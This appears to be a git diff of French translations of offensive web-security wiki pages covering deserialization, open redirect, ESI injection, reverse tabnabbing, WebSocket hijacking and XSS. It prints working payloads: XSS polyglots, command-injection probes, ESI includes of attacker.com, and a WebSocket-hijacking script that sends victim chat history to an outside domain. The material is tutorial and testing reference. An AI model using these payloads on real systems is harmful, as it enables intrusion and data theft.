### Autres bibliothèques
|
||||
|
||||
Cette technique a été prise[ **de cet article de blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
Cette technique a été prise [**de cet article de blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
|
||||
Il existe d'autres bibliothèques Ruby qui peuvent être utilisées pour sérialiser des objets et qui pourraient donc être abusées pour obtenir un RCE lors d'une désérialisation non sécurisée. Le tableau suivant montre certaines de ces bibliothèques et la méthode qu'elles appellent de la bibliothèque chargée chaque fois qu'elle est désérialisée (fonction à abuser pour obtenir un RCE essentiellement) :
|
||||
|
||||
@ -888,7 +888,7 @@ puts json_payload
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
Dans le cas d'une tentative d'abus d'Oj, il était possible de trouver une classe gadget qui, à l'intérieur de sa fonction `hash`, appellera `to_s`, qui appellera spec, qui appellera fetch_path, ce qui a permis de le faire récupérer une URL aléatoire, fournissant un excellent détecteur de ce type de vulnérabilités de désérialisation non assainies.
|
||||
Dans le cas d'une tentative d'abus d'Oj, il a été possible de trouver une classe gadget qui, à l'intérieur de sa fonction `hash`, appellera `to_s`, qui appellera spec, qui appellera fetch_path, ce qui a permis de le faire récupérer une URL aléatoire, offrant un excellent détecteur de ce type de vulnérabilités de désérialisation non assainies.
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
@ -922,6 +922,6 @@ De plus, il a été constaté qu'avec la technique précédente, un dossier est
|
||||
}
|
||||
}
|
||||
```
|
||||
Vérifiez les détails supplémentaires dans le [**post original**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
Vérifiez les détails dans le [**post original**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,17 +1,17 @@
|
||||
# Open Redirect
|
||||
# Redirection Ouverte
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Open redirect
|
||||
## Redirection Ouverte
|
||||
|
||||
### Redirection vers localhost ou des domaines arbitraires
|
||||
### Rediriger vers localhost ou des domaines arbitraires
|
||||
|
||||
{{#ref}}
|
||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Open Redirect vers XSS
|
||||
### Redirection Ouverte vers XSS
|
||||
```bash
|
||||
#Basic payload, javascript code is executed after "javascript:"
|
||||
javascript:alert(1)
|
||||
@ -58,7 +58,7 @@ javascript://whitelisted.com?%a0alert%281%29
|
||||
";alert(0);//
|
||||
```
|
||||
## Open Redirect téléchargement de fichiers svg
|
||||
```markup
|
||||
```html
|
||||
<code>
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<svg
|
||||
|
||||
@ -61,9 +61,9 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
||||
```bash
|
||||
{{7*7}}[7*7]
|
||||
```
|
||||
## [Injection de Commande](../command-injection.md)
|
||||
## [Command Injection](../command-injection.md)
|
||||
|
||||
### Tests de Base
|
||||
### Tests de base
|
||||
```bash
|
||||
;ls
|
||||
||ls;
|
||||
@ -91,7 +91,7 @@ $(ls)
|
||||
## Dangling Markup
|
||||
|
||||
### Tests de base
|
||||
```markup
|
||||
```html
|
||||
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
|
||||
```
|
||||
## [File Inclusion/Path Traversal](../file-inclusion/index.html)
|
||||
@ -130,14 +130,14 @@ javascript:alert(1)
|
||||
## [Inclusion Côté Serveur/Inclusion Côté Edge](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
|
||||
### Tests de Base
|
||||
```markup
|
||||
```html
|
||||
<!--#echo var="DATE_LOCAL" -->
|
||||
<!--#exec cmd="ls" -->
|
||||
<esi:include src=http://attacker.com/>
|
||||
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
### Polyglottes
|
||||
```markup
|
||||
```html
|
||||
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
|
||||
@ -147,7 +147,7 @@ Les mêmes tests utilisés pour Open Redirect peuvent être utilisés ici.
|
||||
## [Server Side Template Injection](../ssti-server-side-template-injection/index.html)
|
||||
|
||||
### Tests de base
|
||||
```markup
|
||||
```html
|
||||
${{<%[%'"}}%\
|
||||
{{7*7}}
|
||||
${7*7}
|
||||
@ -159,27 +159,27 @@ ${{7*7}}
|
||||
```python
|
||||
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
|
||||
```
|
||||
## [Injection de serveur XSLT](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
## [Injection côté serveur XSLT](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
|
||||
### Tests de base
|
||||
```markup
|
||||
```html
|
||||
<xsl:value-of select="system-property('xsl:version')" />
|
||||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
```
|
||||
### Polyglottes
|
||||
```markup
|
||||
```html
|
||||
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
```
|
||||
## XSS
|
||||
|
||||
### Tests de base
|
||||
```markup
|
||||
```html
|
||||
" onclick=alert() a="
|
||||
'"><img src=x onerror=alert(1) />
|
||||
javascript:alert()
|
||||
```
|
||||
### Polyglottes
|
||||
```markup
|
||||
```html
|
||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
|
||||
|
||||
@ -40,7 +40,7 @@ Si le **wildcard** est utilisé, **les messages peuvent être envoyés à n'impo
|
||||
|
||||
Comme expliqué dans [**ce rapport**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), si vous trouvez une page qui peut être **iframée** (pas de protection `X-Frame-Header`) et qui **envoie des messages sensibles** via **postMessage** en utilisant un **wildcard** (\*), vous pouvez **modifier** l'**origine** de l'**iframe** et **fuiter** le **message sensible** vers un domaine contrôlé par vous.\
|
||||
Notez que si la page peut être iframée mais que le **targetOrigin** est **défini sur une URL et non sur un wildcard**, ce **truc ne fonctionnera pas**.
|
||||
```markup
|
||||
```html
|
||||
<html>
|
||||
<iframe src="https://docs.google.com/document/ID" />
|
||||
<script>
|
||||
@ -140,7 +140,7 @@ bypassing-sop-with-iframes-1.md
|
||||
|
||||
### Contournement de e.source
|
||||
|
||||
Il est possible de vérifier si le message provient de la même fenêtre dans laquelle le script écoute (particulièrement intéressant pour les **Content Scripts des extensions de navigateur** pour vérifier si le message a été envoyé depuis la même page) :
|
||||
Il est possible de vérifier si le message provient de la même fenêtre dans laquelle le script écoute (particulièrement intéressant pour les **scripts de contenu des extensions de navigateur** pour vérifier si le message a été envoyé depuis la même page) :
|
||||
```javascript
|
||||
// If it’s not, return immediately.
|
||||
if (received_message.source !== window) {
|
||||
@ -157,9 +157,9 @@ bypassing-sop-with-iframes-2.md
|
||||
|
||||
### Contournement de l'en-tête X-Frame
|
||||
|
||||
Pour effectuer ces attaques, idéalement, vous pourrez **mettre la page web de la victime** à l'intérieur d'un `iframe`. Mais certains en-têtes comme `X-Frame-Header` peuvent **empêcher** ce **comportement**.\
|
||||
Pour effectuer ces attaques, idéalement, vous devrez être en mesure de **mettre la page web de la victime** à l'intérieur d'un `iframe`. Mais certains en-têtes comme `X-Frame-Header` peuvent **empêcher** ce **comportement**.\
|
||||
Dans ces scénarios, vous pouvez toujours utiliser une attaque moins discrète. Vous pouvez ouvrir un nouvel onglet vers l'application web vulnérable et communiquer avec elle :
|
||||
```markup
|
||||
```html
|
||||
<script>
|
||||
var w=window.open("<url>")
|
||||
setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||
@ -167,7 +167,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||
```
|
||||
### Vol de message envoyé à l'enfant en bloquant la page principale
|
||||
|
||||
Dans la page suivante, vous pouvez voir comment vous pourriez voler des **données postmessage sensibles** envoyées à un **iframe enfant** en **bloquant** la page **principale** avant d'envoyer les données et en abusant d'un **XSS dans l'enfant** pour **fuiter les données** avant qu'elles ne soient reçues :
|
||||
Dans la page suivante, vous pouvez voir comment vous pourriez voler des **données postmessage sensibles** envoyées à un **iframe enfant** en **bloquant** la **page principale** avant d'envoyer les données et en abusant d'un **XSS dans l'enfant** pour **fuiter les données** avant qu'elles ne soient reçues :
|
||||
|
||||
{{#ref}}
|
||||
blocking-main-page-to-steal-postmessage.md
|
||||
@ -214,9 +214,9 @@ setTimeout(get_code, 2000)
|
||||
```
|
||||
Pour **plus d'informations** :
|
||||
|
||||
- Lien vers la page sur [**la pollution de prototype**](../deserialization/nodejs-proto-prototype-pollution/index.html)
|
||||
- Lien vers la page sur [**prototype pollution**](../deserialization/nodejs-proto-prototype-pollution/index.html)
|
||||
- Lien vers la page sur [**XSS**](../xss-cross-site-scripting/index.html)
|
||||
- Lien vers la page sur [**la pollution de prototype côté client à XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||
- Lien vers la page sur [**client side prototype pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||
|
||||
## Références
|
||||
|
||||
|
||||
@ -2,12 +2,12 @@
|
||||
|
||||
# Description
|
||||
|
||||
Dans une situation où un **attacker** peut **controler** l'argument **`href`** d'une balise **`<a`** avec l'attribut **`target="_blank" rel="opener"`** qui va être cliquée par une victime, l'**attacker** **dirige** ce **lien** vers un site web sous son contrôle (un **site web** **malveillant**). Ensuite, une fois que la **victime clique** sur le lien et accède au site de l'attaquant, ce **site web** **malveillant** pourra **controler** la **page** **originale** via l'objet javascript **`window.opener`**.\
|
||||
Si la page n'a pas **`rel="opener"` mais contient `target="_blank"` et n'a pas non plus `rel="noopener"`**, elle peut également être vulnérable.
|
||||
Dans une situation où un **attacker** peut **controler** l'argument **`href`** d'une balise **`<a`** avec l'attribut **`target="_blank" rel="opener"`** qui va être cliquée par une victime, l'**attacker** **dirige** ce **link** vers un site web sous son contrôle (un **malicious** **website**). Ensuite, une fois que la **victim clique** sur le lien et accède au site de l'**attacker**, ce **malicious** **website** pourra **controler** la **page** **originale** via l'objet javascript **`window.opener`**.\
|
||||
Si la page n'a pas **`rel="opener"` mais contient `target="_blank"` et n'a pas non plus `rel="noopener"`**, elle pourrait également être vulnérable.
|
||||
|
||||
Une manière classique d'abuser de ce comportement serait de **changer la localisation du web original** via `window.opener.location = https://attacker.com/victim.html` vers un web contrôlé par l'attaquant qui **ressemble à l'original**, afin qu'il puisse **imiter** le **formulaire** de **connexion** du site web original et demander des identifiants à l'utilisateur.
|
||||
Une manière classique d'abuser de ce comportement serait de **changer la localisation du web original** via `window.opener.location = https://attacker.com/victim.html` vers un web contrôlé par l'**attacker** qui **ressemble à l'original**, afin qu'il puisse **imiter** le **login** **form** du site web original et demander des identifiants à l'utilisateur.
|
||||
|
||||
Cependant, notez qu'étant donné que l'**attacker peut maintenant contrôler l'objet window du site web original**, il peut en abuser de d'autres manières pour effectuer des **attaques plus discrètes** (peut-être en modifiant des événements javascript pour exfiltrer des informations vers un serveur contrôlé par lui ?)
|
||||
Cependant, notez qu'étant donné que l'**attacker** peut maintenant contrôler l'objet window du site web original, il peut en abuser de d'autres manières pour effectuer des **stealthier attacks** (peut-être en modifiant des événements javascript pour exfiltrer des informations vers un serveur contrôlé par lui ?)
|
||||
|
||||
# Overview
|
||||
|
||||
@ -26,8 +26,8 @@ Lien entre les pages parent et enfant lorsque l'attribut de prévention est util
|
||||
## Examples <a href="#examples" id="examples"></a>
|
||||
|
||||
Créez les pages suivantes dans un dossier et exécutez un serveur web avec `python3 -m http.server`\
|
||||
Ensuite, **accédez** à `http://127.0.0.1:8000/`vulnerable.html, **cliquez** sur le lien et notez comment l'**URL** du **site web** **original** **change**.
|
||||
```markup:vulnerable.html
|
||||
Ensuite, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** sur le lien et notez comment l'**original** **website** **URL** **changes**.
|
||||
```html:vulnerable.html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
@ -37,7 +37,7 @@ Ensuite, **accédez** à `http://127.0.0.1:8000/`vulnerable.html, **cliquez** su
|
||||
</html>
|
||||
```
|
||||
|
||||
```markup:malicious.html
|
||||
```html:malicious.html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
@ -48,7 +48,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
||||
</html>
|
||||
```
|
||||
|
||||
```markup:malicious_redir.html
|
||||
```html:malicious_redir.html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
@ -61,7 +61,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
||||
Dans le scénario où un accès **cross-origin** se produit (accès à travers différents domaines), les propriétés de l'instance de la classe JavaScript **window**, référencées par l'objet JavaScript **opener**, auxquelles un site malveillant peut accéder sont limitées aux suivantes :
|
||||
|
||||
- **`opener.closed`** : Cette propriété est utilisée pour déterminer si une fenêtre a été fermée, renvoyant une valeur booléenne.
|
||||
- **`opener.frames`** : Cette propriété fournit l'accès à tous les éléments iframe dans la fenêtre actuelle.
|
||||
- **`opener.frames`** : Cette propriété donne accès à tous les éléments iframe dans la fenêtre actuelle.
|
||||
- **`opener.length`** : Le nombre d'éléments iframe présents dans la fenêtre actuelle est renvoyé par cette propriété.
|
||||
- **`opener.opener`** : Une référence à la fenêtre qui a ouvert la fenêtre actuelle peut être obtenue par cette propriété.
|
||||
- **`opener.parent`** : Cette propriété renvoie la fenêtre parente de la fenêtre actuelle.
|
||||
|
||||
@ -100,11 +100,11 @@ hell<!--esi-->o
|
||||
| **Logiciel** | **Includes** | **Vars** | **Cookies** | **En-têtes en amont requis** | **Liste blanche des hôtes** |
|
||||
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :--------------------------: |
|
||||
| Squid3 | Oui | Oui | Oui | Oui | Non |
|
||||
| Varnish Cache | Oui | Non | Non | Oui | Oui |
|
||||
| Fastly | Oui | Non | Non | Non | Oui |
|
||||
| Akamai ESI Test Server (ETS) | Oui | Oui | Oui | Non | Non |
|
||||
| NodeJS esi | Oui | Oui | Oui | Non | Non |
|
||||
| NodeJS nodesi | Oui | Non | Non | Non | Optionnel |
|
||||
| Varnish Cache | Oui | Non | Non | Oui | Oui |
|
||||
| Fastly | Oui | Non | Non | Non | Oui |
|
||||
| Akamai ESI Test Server (ETS) | Oui | Oui | Oui | Non | Non |
|
||||
| NodeJS esi | Oui | Oui | Oui | Non | Non |
|
||||
| NodeJS nodesi | Oui | Non | Non | Non | Optionnel |
|
||||
|
||||
#### XSS
|
||||
|
||||
@ -139,11 +139,11 @@ Use <!--esi--> to bypass WAFs:
|
||||
#### Fichier Local Privé
|
||||
|
||||
Ne pas confondre cela avec une "Inclusion de Fichier Local" :
|
||||
```markup
|
||||
```html
|
||||
<esi:include src="secret.txt">
|
||||
```
|
||||
#### CRLF
|
||||
```markup
|
||||
```html
|
||||
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
|
||||
```
|
||||
#### Redirection Ouverte
|
||||
|
||||
@ -56,7 +56,7 @@ websocat -s 0.0.0.0:8000 #Listen in port 8000
|
||||
```
|
||||
### MitM websocket connections
|
||||
|
||||
Si vous constatez que des clients sont connectés à un **HTTP websocket** depuis votre réseau local actuel, vous pourriez essayer une [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) pour effectuer une attaque MitM entre le client et le serveur.\
|
||||
Si vous constatez que des clients sont connectés à un **HTTP websocket** depuis votre réseau local actuel, vous pourriez essayer une [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) pour effectuer une attaque MitM entre le client et le serveur.\
|
||||
Une fois que le client essaie de se connecter, vous pouvez alors utiliser :
|
||||
```bash
|
||||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
@ -67,9 +67,9 @@ Vous pouvez utiliser l'**outil** [**https://github.com/PalindromeLabs/STEWS**](h
|
||||
|
||||
### Websocket Debug tools
|
||||
|
||||
- **Burp Suite** prend en charge la communication MitM des websockets de manière très similaire à la façon dont elle le fait pour la communication HTTP régulière.
|
||||
- L'**extension Burp Suite** [**socketsleuth**](https://github.com/snyk/socketsleuth) **vous permettra de mieux gérer les communications Websocket dans Burp en obtenant l'** **historique**, en définissant des **règles d'interception**, en utilisant des règles de **correspondance et de remplacement**, en utilisant **Intruder** et **AutoRepeater.**
|
||||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abréviation de "**WebSocket/Socket.io Proxy**", cet outil, écrit en Node.js, fournit une interface utilisateur pour **capturer, intercepter, envoyer des messages personnalisés** et visualiser toutes les communications WebSocket et Socket.IO entre le client et le serveur.
|
||||
- **Burp Suite** prend en charge la communication MitM des websockets de manière très similaire à la façon dont elle le fait pour la communication HTTP classique.
|
||||
- L'**extension** [**socketsleuth**](https://github.com/snyk/socketsleuth) **de Burp Suite** vous permettra de mieux gérer les communications Websocket dans Burp en obtenant l'**historique**, en définissant des **règles d'interception**, en utilisant des règles de **correspondance et de remplacement**, en utilisant **Intruder** et **AutoRepeater.**
|
||||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abréviation de "**WebSocket/Socket.io Proxy**", cet outil, écrit en Node.js, fournit une interface utilisateur pour **capturer, intercepter, envoyer des** messages personnalisés et visualiser toutes les communications WebSocket et Socket.IO entre le client et le serveur.
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) est un **REPL websocket interactif** conçu spécifiquement pour les tests de pénétration. Il fournit une interface pour observer les **messages websocket entrants et envoyer de nouveaux**, avec un cadre facile à utiliser pour **automatiser** cette communication.
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) c'est un **web pour communiquer** avec d'autres webs en utilisant des **websockets**.
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) parmi d'autres types de communications/protocoles, il fournit un **web pour communiquer** avec d'autres webs en utilisant des **websockets.**
|
||||
@ -82,14 +82,14 @@ Dans [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/B
|
||||
|
||||
**Le détournement de WebSocket entre sites**, également connu sous le nom de **détournement de WebSocket cross-origin**, est identifié comme un cas spécifique de **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** affectant les échanges WebSocket. Cette vulnérabilité survient lorsque les échanges WebSocket s'authentifient uniquement via des **cookies HTTP** sans **tokens CSRF** ou mesures de sécurité similaires.
|
||||
|
||||
Les attaquants peuvent en profiter en hébergeant une **page web malveillante** qui initie une connexion WebSocket entre sites à une application vulnérable. Par conséquent, cette connexion est considérée comme faisant partie de la session de la victime avec l'application, exploitant le manque de protection CSRF dans le mécanisme de gestion des sessions.
|
||||
Les attaquants peuvent en tirer parti en hébergeant une **page web malveillante** qui initie une connexion WebSocket entre sites à une application vulnérable. Par conséquent, cette connexion est considérée comme faisant partie de la session de la victime avec l'application, exploitant le manque de protection CSRF dans le mécanisme de gestion des sessions.
|
||||
|
||||
### Simple Attack
|
||||
|
||||
Notez que lors de l'**établissement** d'une connexion **websocket**, le **cookie** est **envoyé** au serveur. Le **serveur** pourrait l'utiliser pour **relier** chaque **utilisateur spécifique** à sa **session websocket basée sur le cookie envoyé**.
|
||||
|
||||
Ensuite, si par **exemple** le **serveur websocket** **renvoie l'historique de la conversation** d'un utilisateur si un msg avec "**READY"** est envoyé, alors un **simple XSS** établissant la connexion (le **cookie** sera **envoyé** **automatiquement** pour autoriser l'utilisateur victime) **en envoyant** "**READY**" pourra **récupérer** l'historique de la **conversation**.
|
||||
```markup
|
||||
```html
|
||||
<script>
|
||||
websocket = new WebSocket('wss://your-websocket-URL')
|
||||
websocket.onopen = start
|
||||
@ -105,11 +105,11 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||||
```
|
||||
### Cross Origin + Cookie avec un sous-domaine différent
|
||||
|
||||
Dans cet article de blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), l'attaquant a réussi à **exécuter du Javascript arbitraire dans un sous-domaine** du domaine où la communication WebSocket avait lieu. Parce que c'était un **sous-domaine**, le **cookie** était **envoyé**, et parce que le **Websocket ne vérifiait pas correctement l'Origine**, il était possible de communiquer avec lui et **de voler des tokens**.
|
||||
Dans cet article de blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), l'attaquant a réussi à **exécuter du Javascript arbitraire dans un sous-domaine** du domaine où la communication WebSocket avait lieu. Comme c'était un **sous-domaine**, le **cookie** était **envoyé**, et parce que le **Websocket ne vérifiait pas correctement l'Origine**, il était possible de communiquer avec lui et **de voler des tokens**.
|
||||
|
||||
### Vol de données de l'utilisateur
|
||||
|
||||
Copiez l'application web que vous souhaitez imiter (les fichiers .html par exemple) et à l'intérieur du script où la communication Websocket a lieu, ajoutez ce code :
|
||||
Copiez l'application web que vous souhaitez imiter (les fichiers .html par exemple) et à l'intérieur du script où la communication WebSocket a lieu, ajoutez ce code :
|
||||
```javascript
|
||||
//This is the script tag to load the websocket hooker
|
||||
;<script src="wsHook.js"></script>
|
||||
|
||||
@ -47,8 +47,8 @@ Lorsque vous essayez d'exploiter un XSS, la première chose que vous devez savoi
|
||||
|
||||
### HTML brut
|
||||
|
||||
Si votre entrée est **réfléchie dans le HTML brut** de la page, vous devrez abuser de certaines **balises HTML** afin d'exécuter du code JS : `<img , <iframe , <svg , <script` ... ce ne sont que quelques-unes des nombreuses balises HTML possibles que vous pourriez utiliser.\
|
||||
De plus, gardez à l'esprit [Injection de Template Côté Client](../client-side-template-injection-csti.md).
|
||||
Si votre entrée est **réfléchie sur la page HTML brute**, vous devrez abuser de certaines **balises HTML** afin d'exécuter du code JS : `<img , <iframe , <svg , <script` ... ce ne sont que quelques-unes des nombreuses balises HTML possibles que vous pourriez utiliser.\
|
||||
De plus, gardez à l'esprit [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### À l'intérieur des attributs de balises HTML
|
||||
|
||||
@ -75,7 +75,7 @@ Dans ce cas, votre entrée est reflétée entre les balises **`<script> [...] </
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- Si elle est reflétée à l'intérieur de littéraux de modèle, vous pouvez **intégrer des expressions JS** en utilisant la syntaxe `${ ... }` : `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **L'encodage Unicode** fonctionne pour écrire **du code javascript valide** :
|
||||
- L'**encodage Unicode** fonctionne pour écrire **du code javascript valide** :
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
@ -83,7 +83,7 @@ alert(1)
|
||||
```
|
||||
#### Javascript Hoisting
|
||||
|
||||
Javascript Hoisting fait référence à la possibilité de **déclarer des fonctions, des variables ou des classes après leur utilisation afin de pouvoir abuser des scénarios où un XSS utilise des variables ou des fonctions non déclarées.**\
|
||||
Javascript Hoisting fait référence à l'opportunité de **déclarer des fonctions, des variables ou des classes après leur utilisation afin de pouvoir abuser des scénarios où un XSS utilise des variables ou des fonctions non déclarées.**\
|
||||
**Consultez la page suivante pour plus d'infos :**
|
||||
|
||||
{{#ref}}
|
||||
@ -92,7 +92,7 @@ js-hoisting.md
|
||||
|
||||
### Javascript Function
|
||||
|
||||
Plusieurs pages web ont des points de terminaison qui **acceptent comme paramètre le nom de la fonction à exécuter**. Un exemple courant que l'on peut voir dans la nature est quelque chose comme : `?callback=callbackFunc`.
|
||||
Plusieurs pages web ont des points de terminaison qui **acceptent comme paramètre le nom de la fonction à exécuter**. Un exemple courant à voir dans la nature est quelque chose comme : `?callback=callbackFunc`.
|
||||
|
||||
Une bonne façon de découvrir si quelque chose donné directement par l'utilisateur essaie d'être exécuté est **de modifier la valeur du paramètre** (par exemple à 'Vulnerable') et de chercher dans la console des erreurs comme :
|
||||
|
||||
@ -153,7 +153,7 @@ Lorsque votre entrée est reflétée **dans la page HTML** ou que vous pouvez é
|
||||
Pour ces cas, gardez également à l'esprit [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Remarque : Un commentaire HTML peut être fermé en utilisant\*\*\*\*\*\***\***\*`-->`\*\***\***\*ou \*\*\*\*\*\***`--!>`\*\*_
|
||||
|
||||
Dans ce cas et si aucune liste noire/liste blanche n'est utilisée, vous pourriez utiliser des charges utiles comme :
|
||||
Dans ce cas et si aucune liste noire/blanche n'est utilisée, vous pourriez utiliser des charges utiles comme :
|
||||
```html
|
||||
<script>
|
||||
alert(1)
|
||||
@ -161,12 +161,12 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Mais, si le filtrage des tags/attributs est utilisé, vous devrez **forcer le brute-force des tags** que vous pouvez créer.\
|
||||
Une fois que vous avez **localisé quels tags sont autorisés**, vous devrez **forcer le brute-force des attributs/événements** à l'intérieur des tags valides trouvés pour voir comment vous pouvez attaquer le contexte.
|
||||
Mais, si le filtrage des tags/attributs est utilisé, vous devrez **forcer par brute la création de tags**.\
|
||||
Une fois que vous avez **localisé quels tags sont autorisés**, vous devrez **forcer par brute les attributs/événements** à l'intérieur des tags valides trouvés pour voir comment vous pouvez attaquer le contexte.
|
||||
|
||||
### Brute-force des tags/événements
|
||||
### Force brute des tags/événements
|
||||
|
||||
Allez sur [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) et cliquez sur _**Copier les tags dans le presse-papiers**_. Ensuite, envoyez-les tous en utilisant Burp intruder et vérifiez si des tags n'ont pas été découverts comme malveillants par le WAF. Une fois que vous avez découvert quels tags vous pouvez utiliser, vous pouvez **forcer le brute-force de tous les événements** en utilisant les tags valides (dans la même page web, cliquez sur _**Copier les événements dans le presse-papiers**_ et suivez la même procédure qu'auparavant).
|
||||
Allez sur [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) et cliquez sur _**Copier les tags dans le presse-papiers**_. Ensuite, envoyez-les tous en utilisant Burp intruder et vérifiez si des tags n'ont pas été découverts comme malveillants par le WAF. Une fois que vous avez découvert quels tags vous pouvez utiliser, vous pouvez **forcer par brute tous les événements** en utilisant les tags valides (sur la même page web, cliquez sur _**Copier les événements dans le presse-papiers**_ et suivez la même procédure qu'auparavant).
|
||||
|
||||
### Tags personnalisés
|
||||
|
||||
@ -233,9 +233,9 @@ onerror=alert`1`
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
Les deux derniers utilisent 2 caractères unicode qui s'étendent à 5 : telsr\
|
||||
Plus de ces caractères peuvent être trouvés [ici](https://www.unicode.org/charts/normalization/).\
|
||||
Pour vérifier dans quels caractères sont décomposés, vérifiez [ici](https://www.compart.com/en/unicode/U+2121).
|
||||
The last one is using 2 unicode characters which expands to 5: telsr\
|
||||
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
|
||||
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
@ -245,12 +245,12 @@ Si pour exploiter la vulnérabilité vous avez besoin que **l'utilisateur clique
|
||||
|
||||
Si vous pensez juste que **c'est impossible de créer une balise HTML avec un attribut pour exécuter du code JS**, vous devriez vérifier [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) car vous pourriez **exploiter** la vulnérabilité **sans** exécuter de **code JS**.
|
||||
|
||||
## Injection à l'intérieur de la balise HTML
|
||||
## Injecter à l'intérieur d'une balise HTML
|
||||
|
||||
### À l'intérieur de la balise/échapper de la valeur de l'attribut
|
||||
|
||||
Si vous êtes **à l'intérieur d'une balise HTML**, la première chose que vous pourriez essayer est d'**échapper** de la balise et d'utiliser certaines des techniques mentionnées dans la [section précédente](#injecting-inside-raw-html) pour exécuter du code JS.\
|
||||
